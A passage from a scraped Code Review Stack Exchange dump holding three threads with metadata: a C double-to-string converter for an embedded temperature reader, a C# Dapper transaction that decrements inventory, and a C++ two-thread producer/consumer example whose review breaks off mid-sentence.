for (int i = 0; i < prec; i++) /* compute multiplier */
mult *= 10;
ip = (uint64_t)d; /* set integer part */
fp = (uint64_t)((d - ip) * mult); /* fractional part to prec */
*p = 0; /* nul-terminate tmp */
while (fp) { /* convert fractional part */
*--p = fp % 10 + '0';
fp /= 10;
if (zeros) /* decrement zero pad */
zeros--;
}
while (zeros--) /* pad reaming zeros */
*--p = '0';
*--p = '.';
if (!ip) /* no integer part */
*--p = '0';
else
while (ip) { /* convert integer part */
*--p = ip % 10 + '0';
ip /= 10;
}
if (sign) /* if sign, add '-' */
*--p = '-';
for (int i = 0;; i++, p++) { /* copy to s with \0 */
s[i] = *p;
if (!*p)
break;
}
return s;
}
int main (void) {
char buf[FPMAXC];
double d = 123.45678;
printf ("% 8.3lf => %8s\n", d, dbl2str (d, buf, 3));
d = -d;
printf ("% 8.3lf => %8s\n", d, dbl2str (d, buf, 3));
d = 0.;
printf ("% 8.3lf => %8s\n", d, dbl2str (d, buf, 3));
d = 0.12345;
printf ("% 8.3lf => %8s\n", d, dbl2str (d, buf, 3));
d = -d;
printf ("% 8.3lf => %8s\n", d, dbl2str (d, buf, 3));
d = 123.0;
printf ("% 8.3lf => %8s\n", d, dbl2str (d, buf, 3));
d = -d;
printf ("% 8.3lf => %8s\n", d, dbl2str (d, buf, 3));
}
</code></pre>
<p>The function does what I intended, but would like to know if there are any obvious improvements that can be made with a slight-eye on optimization.</p>
<p><strong>Program Output</strong></p>
<pre class="lang-none prettyprint-override"><code>./bin/dbl2str
123.457 => 123.456
-123.457 => -123.456
0.000 => 0.000
0.123 => 0.123
-0.123 => -0.123
123.000 => 123.000
-123.000 => -123.000
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T11:43:30.497",
"Id": "503910",
"Score": "3",
"body": "Am I missing something here? It seems that `sprintf()` does exactly this job already. Though I'd recommend `snprintf()` rather than just telling the caller \"s must have adequate storage to hold the converted value\", since callers can't be trusted."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T13:28:28.560",
"Id": "503916",
"Score": "0",
"body": "Are you confident that your few test cases cover all interesting cases? They seem to be too few to me. Have a look at the [Go standard library](https://github.com/golang/go/blob/master/src/strconv/ftoa_test.go) fore some more interesting numbers."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T14:22:45.943",
"Id": "503921",
"Score": "0",
"body": "`pi*10E19` overflowed, requiring a painful check on p >= 0. Returning the modified passed array is double. The bounds of the passed array cannot be checked. With buffer overflow exploits, please ensure this rests academic code. Use bool for sign."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T14:36:18.233",
"Id": "503923",
"Score": "1",
"body": "You've written this because you want to avoid including `<stdio.h>`. Note that including that file, on its own, should not have any performance or memory impact since it's just function signatures; the impact comes at the link stage when you actually use a function from it. Have you profiled the difference between using your function and using an `ftoa` (if implemented) or `sprintf`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T00:11:33.797",
"Id": "503953",
"Score": "0",
"body": "Thank you for the comments. Yes, reviewing the Go link, I am confident it covers the cases I'm interested in. There will be no exponential notions in the range of `-50.0` to `200.0` and the max-of-type and min-of-type aren't at issue either. In the what-ifs world, I guess the big issue is what if the AD conversion hiccups on a bad voltage spike, etc.. and throws some invalid float. I guess that is where the max/min checks have value here. Profiling with/without `sprintf()` would answer the question on how much impact bringing the stdio library has. Will see what that reveals."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T09:07:24.147",
"Id": "503976",
"Score": "1",
"body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*. Please post a new question instead. Feel free to add a link back and forth between the questions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T09:55:41.090",
"Id": "503981",
"Score": "0",
"body": "Oops - sorry. Thanks for rolling it back."
}
] |
[
{
"body": "<blockquote>\n<p>The intent was to avoid loading stdio.h and math.h.<br />\nif there are any obvious improvements that can be made with a slight-eye on optimization.</p>\n</blockquote>\n<p><strong>Consider <code>float</code> rather than <code>double</code></strong></p>\n<p><strong>Avoid splitting string processing</strong></p>\n<p>Separate processing for integer part and fraction not needed. A simple alternative is to create a scaled integer and then process that integer "right to left" (least to most).</p>\n<p><strong><code>mult</code> type</strong></p>\n<p>A limiting factor is the type of <code>width</code>. Code uses <code>int</code>, which is 16-bit on some embedded machines. To match the rest of codes wide integer type usage, <code>uint64_t mult</code> makes more sense.</p>\n<p><strong>Offload padding</strong></p>\n<p><code>dbl2str(double d, char *s, int prec)</code> might as well handle space padding, thus allowing a simple <code>puts()</code> rather than <code>printf ("%8s\\n", dbl2str (d, buf, 3));</code></p>\n<p>Such as</p>\n<pre><code>dbl2str(double d, char *s, int width, int prec)\n</code></pre>\n<p><strong>Minor: Parameter order</strong></p>\n<p>Maybe instead of <code>double d, char *s, int prec</code>, follow the <code>sprintf()</code> order <code>char *s, int prec, double d</code> as a more familiar idiom.</p>\n<p><strong>Rounding</strong></p>\n<p>The code cost to do basic rounding is not high. I recommend it.</p>\n<p><strong>Temperature and -0.000</strong></p>\n<p>When reporting temperature, seeing <a href=\"https://en.wikipedia.org/wiki/Signed_zero#In_rounded_values_such_as_temperatures\" rel=\"nofollow noreferrer\">-0.0 can be informative</a>.</p>\n<p>Consider using its potential appearance with a <code>signbit(d)</code> test rather than <code>d < 0</code>, or due to rounding.</p>\n<p><strong>Size limited string</strong></p>\n<p>Early in a project, data is often not what one thinks. A <code>double</code> to string function that uses buffer overflow protection would pay for itself in reduced debugging - better than risk UB.</p>\n<p><strong>I did not see a need for special zero handling.</strong></p>\n<p>See <code>do</code> loop below.</p>\n<hr />\n<p>Some of the above ideas with a modified OP's code</p>\n<pre><code>#include <assert.h>\n#include <math.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n#include <stdbool.h>\n\n#define FPMAXC 32\n\nchar* dbl2str2(size_t n, char s[n], int width, int prec, double d) {\n assert(prec >= 0 && prec <= 9); // Or some other upper bound\n assert(width >= 0 && (unsigned ) width < n);\n char tmp[FPMAXC];\n char *p = tmp + FPMAXC - 1;\n *p = '\\0';\n\n // Or use conventional code for signbit, fabs\n bool sign = signbit(d);\n int w = sign + 1; // count characters used: sign, ','\n d = fabs(d) * 2.0; // * 2 for rounding\n for (int p = 0; p < prec; p++) {\n d *= 10.0;\n }\n\n uint64_t i64 = (uint64_t) d;\n i64 = (i64 + i64 % 2) / 2; // round\n do {\n if (prec-- == 0) {\n *(--p) = '.';\n }\n if ((unsigned) ++w >= n) {\n *s = 0; // Number too big - add error code here as desired.\n return s;\n }\n *(--p) = (char) (i64 % 10 + '0');\n i64 /= 10;\n } while (prec >= 0 || i64);\n\n if (sign) {\n *(--p) = '-';\n // w++ counted above\n }\n while (w++ < width) {\n *(--p) = ' ';\n }\n return memcpy(s, p, (size_t) (tmp + FPMAXC - p));\n}\n</code></pre>\n<p>Output (with <code>"%8s"</code> changed to <code>"%s"</code> and <code>#define dbl2str( d, s, prec) dbl2str2(sizeof(s), (s) , 8, (prec), (d))</code>)</p>\n<pre><code> 123.457 => 123.457\n-123.457 => -123.457\n 0.000 => 0.000\n 0.123 => 0.123\n -0.123 => -0.123\n 123.000 => 123.000\n-123.000 => -123.000\n</code></pre>\n<p>Code not heavily tested, yet good enough to give some alternative ideas.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T05:17:23.263",
"Id": "503966",
"Score": "0",
"body": "Ah hah! Much improved. I had thought about the rounding issue, but didn't have time to devote last night (and it had a low priority given the difference between `68.82` degrees F and `68.83` degrees F isn't important). The other comments suggested profiling with `stdio.h` linked -- profiling isn't the problem -- executable size is. Simply linking `stdio.h` for `snprint()` only, balloons the executable size by `57%` from `126908` bytes without to `199504` with. I'll tinker a bit with what you have a report further."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T05:23:48.953",
"Id": "503967",
"Score": "0",
"body": "@DavidC.Rankin I am surprised, with space as a concern, why `double` is used - unless it is native to the processor. IAC I'd consider using temperature as an `int16_t` in units of centi-degrees."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T05:43:30.210",
"Id": "503969",
"Score": "0",
"body": "No, the thought-of-the-moment was write generic, so I chose `double`, but float would be optimal given the platform -- no need to double the number of registers needed for each temperature value... The floating-point issue has to do with the way the analog-to-digital conversion is done based on a reference voltage that is sampled and scaled to obtain a temperature reading. The native result of the conversion is `float` so that began the experiment. While most temp sensors give 10th of a degree as well, I started with 100th of a degree knowing the last place would be basic throw-away later `:)`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T06:50:41.437",
"Id": "503972",
"Score": "0",
"body": "@DavidC.Rankin Hmmm. If `prec` is only a short range of possible values like [0-3], use a look-up table instead of `for (int p = 0; p < prec; p++) { d *= 10.0; }`. Faster and better precision for what is essentially a repetitive calculation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T07:04:27.277",
"Id": "503973",
"Score": "0",
"body": "I've combined some of your thoughts (got rid of `ip` and `fp` and did it all at once), protected the bounds of `s` with a `p > tmp` check on all additions to the buffer, added rounding in the last place with `fpm = (uint64_t)(d * mult + .5);` and then did pretty much what you suggest in your comment above since `prec` will normally be less than `3`, I just added a counter and in the loop converting digits, when `cnt == prec` I add the `'.'` then -- nothing fancy. I like a lot of the other additions for general use, but I was really avoiding other headers, unlinked `math.h` macros are fine."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T14:36:14.547",
"Id": "503994",
"Score": "0",
"body": "@DavidC.Rankin Note: Rounding via `(uint64_t)(d * mult + .5)` does not provide the best answer is some cases when `d * mult + .5` is inexact. I suspect you can live with that."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T00:31:58.860",
"Id": "255428",
"ParentId": "255403",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "255428",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T02:47:03.420",
"Id": "255403",
"Score": "5",
"Tags": [
"c",
"floating-point"
],
"Title": "Floating-point to String Conversion with Given Precision for Fractional Part"
}
|
255403
|
<p>I've got a method which removes quantity from inventory when an order is completed. If there is not enough inventory quantity available, the order completion fails and the sql transaction is rolled back. Otherwise, transaction is commited.</p>
<p>I'm using Dapper for MySQL database access</p>
<pre><code> public async Task<(bool, string)> CompleteInvoice(Invoice invoice, List<InvoiceLineItem> lineItems)
{
bool success = true;
string errorProductNumber = null;
if (!await UpdateInvoiceLineItemsAsync(lineItems))
return (false, "Error saving line items. Please try again.");
//Check to see if there is available quantity
using (var conn = _InvoiceRepository.DbConnection)
{
conn.Open();
// create the transaction
using (var trans = conn.BeginTransaction(System.Data.IsolationLevel.RepeatableRead))
{
try
{
var selectProductSQL = "SELECT InventoryNumber,Quantity FROM Product WHERE Id = @productId";
var updateProductSQL = "UPDATE Product SET Quantity = @NewQuantity WHERE Id = @productId";
DynamicParameters productParameters;
foreach (var lineItem in lineItems)
{
productParameters = new();
productParameters.Add("productId", lineItem.ProductId, System.Data.DbType.String);
var cprod = await conn.QueryFirstOrDefaultAsync<Product>(selectProductSQL, productParameters, trans);
if (cprod.Quantity >= lineItem.Quantity)
{
productParameters.Add("NewQuantity", cprod.Quantity - lineItem.Quantity, System.Data.DbType.Int32);
if (await conn.ExecuteAsync(updateProductSQL, productParameters, trans) != 1)
{
success = false;
}
}
else
{
errorProductNumber = cprod.InventoryNumber;
success = false;
}
if (!success)
break;
}
if (success)
{
invoice.InvoiceStatus = "COMPLETE";
if (!await UpdateInvoiceAsync(invoice))
{
success = false;
errorProductNumber = "Error saving invoice";
}
}
// if it was successful, commit the transaction
if (success)
trans.Commit();
else
{
trans.Rollback();
}
}
catch (Exception ex)
{
// roll the transaction back
trans.Rollback();
// handle the error however you need to.
//throw;
}
}
}
return (success, errorProductNumber);
}
</code></pre>
<p>I'm open and any General feedback.
Am I correctly using the SQL Transaction mechanism?(Also with Dapper?)</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T11:05:37.097",
"Id": "503905",
"Score": "0",
"body": "throw exceptions instead of using Boolean, and only use rollback inside the catch or final blocks. This way, you will be able to trace down exceptions better."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T14:43:05.700",
"Id": "503924",
"Score": "0",
"body": "Not going to do a review, just want to remark that the inconsistent use of curly braces is annoying. IIRC the recommendation is to always use them, and certainly not to mix various styles."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T14:44:42.630",
"Id": "503925",
"Score": "0",
"body": "Why is `UpdateInvoiceAsync` outside of the transaction?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T14:54:24.150",
"Id": "503926",
"Score": "0",
"body": "@BCdotWEB yes, I agree! I need to add some braces. Thanks. Also, good question; I think I need to pass the transaction into `updateinvoice` or is it \"automatic\" since the transaction has been started? This wasn't clear in the dapper doc or I haven't found it yet. Looking for some guidance. I want it inside the transaction."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T09:16:37.263",
"Id": "503978",
"Score": "0",
"body": "Open [documentation](https://dapper-tutorial.net/transaction) and ask yourself, why there's no `.Rollback()` in the code examples? Once you get it, you'll remove your explicit rollbacks. What the `using(...) {...}` keyword do for the transaction? In other words, you're trying to implement already implemented things."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T10:23:26.627",
"Id": "503986",
"Score": "0",
"body": "@GisMofx You haven't posted the code to `UpdateInvoiceAsync` so I cannot say with certainty, but I wouldn't expect any `Connection` you create in that method to magically inherit the transaction."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T12:42:05.430",
"Id": "503991",
"Score": "1",
"body": "@aepot Thanks! Point noted. I did a little digging. DbConnection /should/ rollback on dispose, but that behavior is provider specific. If I change db provider, it better have rollback called. https://docs.microsoft.com/en-us/dotnet/api/system.data.common.dbtransaction.dispose?view=net-5.0"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T14:28:54.203",
"Id": "504061",
"Score": "0",
"body": "@GisMofx Have you considered to use [OneOf](https://github.com/mcintyre321/OneOf) in order to have a discriminated union either for Success or for Failed cases."
}
] |
[
{
"body": "<p>Are you sure that you need two queries for this?</p>\n<p>E.g. you could do something like this:</p>\n<pre><code>UPDATE Product\nSET Quantity = Quantity - @usedQuantity\nWHERE Id = @productId\n AND Quantity >= @usedQuantity\n</code></pre>\n<p>Try to execute that and if it doesn't affect 1 row - you don't have enough quantity for the line item.</p>\n<p>The drawback for your current logic is that you no longer get the <code>InventoryNumber</code> for when there's an error. I think there are two reasons why this is a better approach anyway:</p>\n<ol>\n<li>You now execute 1 query per line item on the happy path.</li>\n<li>I think you have UI logic intermingled here - this code should just deal with ProductId. If you want to display something else, that's on the UI code to do.</li>\n</ol>\n<hr />\n<p>Other points:</p>\n<p>The (bool, string) return type is not idiomatic C#. I don't mind this pattern but am aware I am not in the majority with that opinion. In C#, an exception would probably be expected here. The other option is to create some kind of Result class, there are many examples of this around. E.g. <a href=\"https://github.com/altmann/FluentResults\" rel=\"nofollow noreferrer\">https://github.com/altmann/FluentResults</a>. It's still not recognized by most C# developers though.</p>\n<p><code>_InvoiceRepository.DbConnection</code> - this is not a good place to get configuration from. An <code>IConnectionProvider</code> interface that is used by all the data access may be a better option. Without more code, it's hard to tell.</p>\n<p><code>// if it was successful, commit the transaction</code> - don't comment like this. Anyone reading your code can understand <code>if (success) Commit()</code>. Comments are for <em>why</em> not what.</p>\n<p>It looks like you're trying to keep one return statement and that is causing more conditionals with <code>if (success)</code> around the place. I am a big proponent of returning early but I know not everyone agrees. If you only want a single return, you need to at least factor out methods to get rid of the spaghetti.</p>\n<p><code>errorProductNumber = "Error saving invoice";</code> - That's not a product number. I'm almost sure that you're displaying this string somewhere. Keep the UI concerns out of the infrastructure code.</p>\n<p>This seemingly innocuous pattern is a big problem on more established code bases:</p>\n<pre><code>invoice.InvoiceStatus = "COMPLETE";\nif (!await UpdateInvoiceAsync(invoice))\n</code></pre>\n<p>You have baked in what a complete invoice looks like in an arbitrary place in the code! What if you need to add a <code>CompletedBy</code> or <code>CompletedDate</code>? You have to find all these places and update them. You also have a magic string - it needs to be a constant. Consider instead:</p>\n<pre><code>invoice.Complete();\nif (!await UpdateInvoiceAsync(invoice))\n</code></pre>\n<p>Now if you add a <code>CompletedBy</code>, you do it in that method and add a parameter. The compiler then ensures you haven't forgotten to update any places. You now have an appropriate place to introduce a constant for the magic string too:</p>\n<pre><code>public void Complete()\n{\n // You can also add a guard to prevent invalid completion.\n if (!CanCompleteInvoice)\n throw new BusinessConstraintVoilatedException();\n\n this.InvoiceStatus = COMPLETED_STATUS; // <- name your constants however you like.\n}\n</code></pre>\n<p>Overall this method does too much and is too long. You want each method to be scannable, pseudocode:</p>\n<pre><code>public async Task<(bool, string)> CompleteInvoice(\n Invoice invoice,\n List<InvoiceLineItem> lineItems)\n{\n // Precondition checks omitted\n\n using (var conn = _InvoiceRepository.DbConnection)\n {\n conn.Open();\n using (var trans = conn.BeginTransaction(System.Data.IsolationLevel.RepeatableRead))\n {\n foreach (var lineItem in lineItems)\n {\n var lineItemResult = UpdateLineItem(lineItem, ...);\n // ... on error, do something\n }\n UpdateInvoiceAsync(invoice);\n }\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T16:00:32.173",
"Id": "504066",
"Score": "0",
"body": "Thank you. I've read thru this multiple times. I plan on making about all of these changes. I can share a little more of the `dbconnection` use from the repository. It actually calls a service injected inside the repository that instantiates a new ibconnection. Need to think more about how I want to capture error product number. Maybe. Generic result class? I want to pass the pertinent information for the UI from the business logic."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T07:25:54.733",
"Id": "504107",
"Score": "0",
"body": "@GisMofx - you could do it with a Result class although this is much easier in languages like F# with tagged/discriminated unions when you need different data for different error cases. You could keep it simple and have a class with an enum and an optional product Id - `new Fail { Type = Enum.ProductNotFound, Id = lineItem.ProductId }`"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T07:56:42.690",
"Id": "255459",
"ParentId": "255405",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T04:01:54.643",
"Id": "255405",
"Score": "2",
"Tags": [
"c#",
"sql",
"repository",
"dapper",
"transactions"
],
"Title": "Reducing Inventory Quantity When Order Is Being Processed"
}
|
255405
|
<p>I am a newbie in std::thread and std::condition_variable.</p>
<p>I would like to use 2 threads: one for display (void showCalibration()) and the other for processing (void CaptureFrame()). These threads access a global variable (temp_pupil).</p>
<p>The display thread will clear the variable after a specific time to get the data (pupil) from processing thread (during that time).</p>
<p>I used loops to "simulate" capture loop from a high speed camera (void CaptureFrame()) and 9 calibration points displayed on the screen (void showCalibration()</p>
<pre><code>#include <opencv2/core/core.hpp>
#include <iostream>
#include <thread>
#include <mutex>
std::vector<cv::Point2d> temp_pupil;
std::mutex mu;
std::condition_variable cond;
void showCalibration()
{
for (int i = 0; i <= 9; i++)//plot 9 points sequentially
{
std::unique_lock<std::mutex> lk(mu);
{
temp_pupil.clear();//prepare for get new data
}
lk.unlock();
cond.notify_one();//signal CaptureFrame() to capture data
std::this_thread::sleep_for(std::chrono::milliseconds(100));//specific time
lk.lock();
{
while (temp_pupil.empty())
{
cond.wait(lk);//wait CaptureFrame() to end current point
}
std::string cal = std::to_string(temp_pupil.size()) + "Cali" + std::to_string(i) + "\n";
std::cout << cal;//print
}
lk.unlock();
}
}
void CaptureFrame()
{
cv::Point2d pupil;
for (int i = 0; i <= 500; i++)
{
std::unique_lock<std::mutex> lk(mu);
{
pupil = cv::Point2d(i, i);//create data
temp_pupil.push_back(pupil);//get data
std::string cap = std::to_string(temp_pupil.size()) + "Captue" + std::to_string(i) + "\n";
std::cout << cap;//print
}
lk.unlock();
cond.notify_one();//signal showCalibration() to end current point
}
}
int main()
{
std::thread cal_thread(showCalibration);//display thread
std::thread cap_thread(CaptureFrame);//process thread
cal_thread.join();
cap_thread.join();
}
</code></pre>
<p>Could anyone help me review above code ?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T13:24:07.590",
"Id": "503915",
"Score": "0",
"body": "Welcome to the Code Review Community. It is better when the title indicates what the code does rather than what your concerns about the code are. Could you please change the title and move your comment into the body of the question. To improve your question please read [How do I ask a good question?](https://codereview.stackexchange.com/help/how-to-ask)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T23:35:09.580",
"Id": "503952",
"Score": "0",
"body": "@pacmaninbw, thank you for your guide."
}
] |
[
{
"body": "<h1>Design review</h1>\n<p>This code is symptomatic of a lot of the problems I see in concurrent code these days:</p>\n<ol>\n<li>There is just too much synchronization cruft. Just take a look at <code>showCalibration()</code>: there are roughly 10 functional lines, and 6–8 of them are dealing with synchronization.</li>\n<li>There is an over-reliance on fancy synchronization. Quite often I see code that uses mutexes, condition variables, futures, semaphores, and more, when literally a single atomic flag could do the same job. (Condition variables in particular seem to be all the hype these days; <em>everybody</em> is using them when there’s no real need.)</li>\n<li>The entire program is designed around the synchronization, rather than around what it’s actually supposed to be doing. The actual algorithm is an afterthought. (Quite literally in this case.)</li>\n</ol>\n<p><em>Good</em> concurrent code doesn’t look like synchronization spaghetti, with the <em>actual</em> algorithm buried in a mess of locks and waits. <em>Good</em> concurrent code looks more or less the same as non-concurrent code. If you can’t figure out the actual algorithm being performed because it’s obscured by synchronization mess, then you are not writing good concurrent code.</p>\n<p>Take a step back and look at what you’re <em>actually</em> trying to do. You have two threads, one producing values (pupil points), and one consuming them. Ignoring all synchronization (and stop tokens, etc.), your producer thread is basically just:</p>\n<pre><code>auto producer_thread()\n{\n while (not done)\n {\n auto point = /* figure out point somehow */;\n\n points.push(std::move(point));\n }\n}\n</code></pre>\n<p>And your consumer thread is basically just:</p>\n<pre><code>auto consumer_thread()\n{\n while (not done)\n {\n if (auto const point = points.try_pop(); point)\n {\n // use *point somehow\n }\n else\n {\n // there are no points ready, so just give up our time (unless\n // there is some other computation we could do while waiting)\n std::this_thread::yield();\n }\n }\n}\n</code></pre>\n<p>That’s it. That’s all you need.</p>\n<p>Notice there are no visible locks, or condition variables, or any other such garbage. There is nothing in the code that isn’t clearly for the purpose of getting new points, or using them. (Well, except for that <code>else</code> block in the consumer thread, and that’s optional, though it makes a <em>huge</em> perfomance difference because your consumer loop won’t be wasting time spinning when there are no points available. And you could just do a <code>pop()</code> rather than <code>try_pop()</code>, and just block and wait for points instead.)</p>\n<p>So is it actually possible to write the ideal code shown above, and still get highly performant and correct concurrency? Yes, yes indeed, and the key is right there in the code. Mutexes, locks, and condition variables are the wrong abstraction. What you want is a concurrent queue.</p>\n<p>Now there is no concurrent queue in the standard library (yet! there is one proposed!), but you could write your own (bad idea), or use an existing one—there are several excellent implementations in Boost, TBB, and more.</p>\n<p>I am going to make a <em>very</em> simple concurrent queue <em>just for illustration</em>. <strong>DO NOT DO THIS.</strong> Use a properly-written concurrent queue, do <em>not</em> roll your own. The one below will “work”, but it is terribly non-performant. It is just for illustration:</p>\n<pre><code>template <typename T, typename Allocator = std::allocator<T>>\nclass concurrent_queue\n{\n std::deque<T, Allocator> _data;\n std::mutex _mutex;\n\npublic:\n concurrent_queue() noexcept = default;\n concurrent_queue(Allocator const& a) : _data(a) {}\n\n auto push(T t)\n {\n auto lock = std::scoped_lock(_mutex);\n _data.push_back(std::move(t));\n }\n\n auto try_pop()\n {\n auto result = std::optional<T>{};\n\n auto lock = std::scoped_lock(_mutex);\n if (not _data.empty())\n {\n result = std::move(_data.front());\n _data.pop_front();\n }\n\n return result;\n }\n};\n</code></pre>\n<p>And now your whole program basically just becomes this:</p>\n<pre><code>// define these to do what you actually want\nauto CaptureFrame() -> cv::Point2d;\nauto showCalibration(cv::Point2d) -> void;\n\nauto producer_thread(std::stop_token stop_token, concurrent_queue<cv::Point2d>& points)\n{\n while (not stop_token.stop_requested())\n {\n auto point = CaptureFrame();\n\n points.push(std::move(point));\n }\n}\n\nauto consumer_thread(std::stop_token stop_token, concurrent_queue<cv::Point2d>& points)\n{\n while (not stop_token.stop_requested())\n {\n if (auto const point = points.try_pop(); point)\n {\n showCalibration(*point);\n }\n else\n {\n std::this_thread::yield();\n }\n }\n}\n\nauto main() -> int\n{\n auto points = concurrent_queue<cv::Point2d>{};\n\n std::jthread cal_thread{consumer_thread, std::ref(points)};\n std::jthread cap_thread{producer_thread, std::ref(points)};\n\n // automatic clean shutdown and cleanup\n}\n</code></pre>\n<p>This is just the most basic structure. Rather than getting a single point in the consumer thread, you could also try to pump the queue to get a whole bunch of points in a single go, then process them all at once. But with a really well designed concurrent queue—especially one with a non-blocking interface—there’s really no need for that.</p>\n<p>Also, note that I’ve used C++20 <code>jthread</code>s and <code>stop_token</code>s. If you can’t use C++20, no big deal. Just replace the <code>stop_token</code>s with an <code>atomic<bool></code>, and pass a reference to it in the thread constructors, then replace the <code>jthread</code>s with regular <code>thread</code>s and manually set the <code>atomic<bool></code> to signal shutdown, and manually join the threads:</p>\n<pre><code>auto producer_thread(std::atomic<bool>& done, concurrent_queue<cv::Point2d>& points)\n{\n while (not done) // maybe using acquire or relaxed semantics\n {\n // ... [snip] ...\n }\n}\n\nauto consumer_thread(std::atomic<bool>& done, concurrent_queue<cv::Point2d>& points)\n{\n while (not done) // maybe using acquire or relaxed semantics\n {\n // ... [snip] ...\n }\n}\n\nauto main() -> int\n{\n auto points = concurrent_queue<cv::Point2d>{};\n\n auto done = std::atomic<bool>{false};\n std::thread cal_thread{consumer_thread, std::ref(done), std::ref(points)};\n std::thread cap_thread{producer_thread, std::ref(done), std::ref(points)};\n\n done = true; // maybe using release or relaxed semantics\n cal_thread.join();\n cap_thread.join();\n}\n</code></pre>\n<p>Same diff, just more manual work.</p>\n<p><em><strong>HOWEVER!</strong></em></p>\n<p>Even <em>that</em> might be too much for this job!</p>\n<p>The point of a concurrent queue is that one (or more than one!) thread can produce values while another (or several!) use those values… and—and this is the key point—none of those values are lost. But! If you are processing a video feed, and the camera frames are being generated at, say, 25 per second, while you can only process 10 per second… then usually it’s okay for you to just drop a few frames here or there. So you might not even need a queue at all. You might be able to get away with a single shared value. Something like this:</p>\n<pre><code>auto producer_thread(std::mutex& mutex, std::size_t& sequence_number, cv::Point2d& point)\n{\n while (not done)\n {\n auto p = /* figure out point somehow */;\n\n auto lock = std::scoped_lock(mutex);\n point = std::move(p);\n ++sequence_number;\n }\n}\n\nauto consumer_thread(std::mutex& mutex, std::size_t& sequence_number, cv::Point2d const& point)\n{\n auto last_sequence_number = sequence_number;\n\n while (not done)\n {\n auto has_point = false;\n auto p = cv::Point2d{};\n\n {\n auto lock = std::scoped_lock(mutex);\n\n // if the sequence number is unchanged, then the point data is old\n //\n // if it has changed, then there is new point data, so copy it,\n // update the sequence number, and then release the lock right\n // away\n if (sequence_number != last_sequence_number)\n {\n last_sequence_number = sequence_number;\n p = point;\n has_point = true;\n }\n }\n\n if (has_point)\n {\n // use p somehow\n }\n else\n {\n std::this_thread::yield();\n }\n }\n}\n</code></pre>\n<p>And that’s without any kind of optimization whatsoever. If you wanted to get clever, then you might even be able to make a really compact type that encodes the point and sequence number in just, say, 8 bytes (like, 1 byte for the sequence number (0–255), 3 bytes each for the two coordinates (0–16777215 each), with a byte to spare for something else), and squeeze all that into a single 64-bit atomic value. <em>That</em> will be freakin’ fast, especially if you leverage C++20 atomic wait and notify:</p>\n<pre><code>class your_type\n{\n std::fast_uint64_t _data;\n\npublic:\n constexpr your_type() noexcept = default;\n\n constexpr your_type(std::size_t sequence_number, cv::Point2d point)\n {\n // compact sequence number and point into _data\n }\n\n explicit constexpr operator cv::Point2d() const noexcept\n {\n // extract the point\n }\n};\n\nauto producer_thread(std::atomic<your_type>& data)\n{\n auto sequence_number = std::size_t{};\n\n while (not done)\n {\n auto point = /* figure out point somehow */;\n\n data = your_type{sequence_number, point}; // maybe with release\n data.notify_one();\n }\n}\n\nauto consumer_thread(std::atomic<your_type>& data)\n{\n auto last_data = your_type{};\n\n while (not done)\n {\n data.wait(last_data); // maybe with acquire\n\n auto const point = cv::Point2d{data};\n // use point somehow\n }\n}\n</code></pre>\n<p>Note the code above doesn’t take into account how to detect that there is no more data. But that’s trivial to add: just use that last unused byte to signal “closed”.</p>\n<h1>Code review</h1>\n<pre><code>std::vector<cv::Point2d> temp_pupil;\nstd::mutex mu;\nstd::condition_variable cond;\n</code></pre>\n<p>Global variables are bad. There’s no reason you can’t have these as local variables in <code>main()</code> (for example), and then pass references to them to the thread functions.</p>\n<p>Also <code>mu</code> isn’t a great name for a variable… especially a global one.</p>\n<p>In <code>showCalibration()</code>:</p>\n<pre><code>for (int i = 0; i <= 9; i++)//plot 9 points sequentially\n</code></pre>\n<p><em>Reeeaaaallllyyy?</em> Did you <em>test</em> that it plots 9 points sequentially?</p>\n<p>Here’s what happened when <em>I</em> tested it:</p>\n<pre><code>for (int i = 0; i <= 9; i++)//plot 9 points sequentially\n 